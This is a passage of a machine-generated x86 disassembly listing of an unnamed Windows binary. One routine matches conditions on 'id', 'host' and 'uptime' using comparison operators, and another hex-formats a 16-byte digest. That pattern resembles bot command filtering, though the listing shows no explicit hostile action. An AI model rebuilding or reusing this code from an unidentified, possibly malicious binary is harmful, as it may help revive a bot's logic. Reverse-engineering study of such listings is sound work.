arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC6E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D24 ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D20 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D1C ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D18 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44956A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44956A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449287
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D80AD
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D80AD
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449287
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		call	near ptr 27E0C04h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F40
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
